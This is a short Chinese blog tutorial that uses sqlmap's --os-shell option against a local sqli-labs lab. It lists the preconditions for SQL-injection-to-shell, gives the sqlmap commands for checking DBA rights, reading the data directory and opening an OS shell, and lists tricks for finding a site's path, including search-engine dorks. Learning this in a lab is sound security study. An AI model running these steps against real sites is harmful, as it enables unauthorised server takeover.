0%

sqlmapos-shell使用

环境说明

phpstudy + sqlilab 本地测试


os-shell 条件

  1. 网站必须为root权限
  2. 知道网站绝对路径
  3. PHP关闭魔术引号(GPC),php主动转义功能关闭
  4. secure_file_priv= 值为空


利用

查看数据库权限是否为dba

python3 sqlmap.py -u http://127.0.0.1/sqli-labs/Less-1/?id=1 --is-dba

current user is DBA: True


寻找绝对路径

python3 sqlmap.py -u http://127.0.0.1/sqli-labs/Less-1/?id=1 --sql-shell

select @@datadir

select @@datadir: 'D:\phpstudy_pro\Extensions\MySQL5.7.26\data\'

可以推测到 网站根目录 D:\phpstudy_pro\WWW

os-shell

python3 sqlmap.py -u http://127.0.0.1/sqli-labs/Less-1/?id=1 --os-shell

填入绝对路径



寻找网站绝对路径的方法:

  • 通过网站报错查看绝对路径
  • 根据phpinfo 探针查看信息
  • 配合远程代码执行漏洞 如eval() 传入phpinfo()
  • 根据配置文件获取路径
  • 通过搜索引擎获取 Site:test.com warning Site:test.com "fatal error"

欢迎关注我的其它发布渠道

------------- 💖 🌞 本 文 结 束 😚 感 谢 您 的 阅 读 🌞 💖 -------------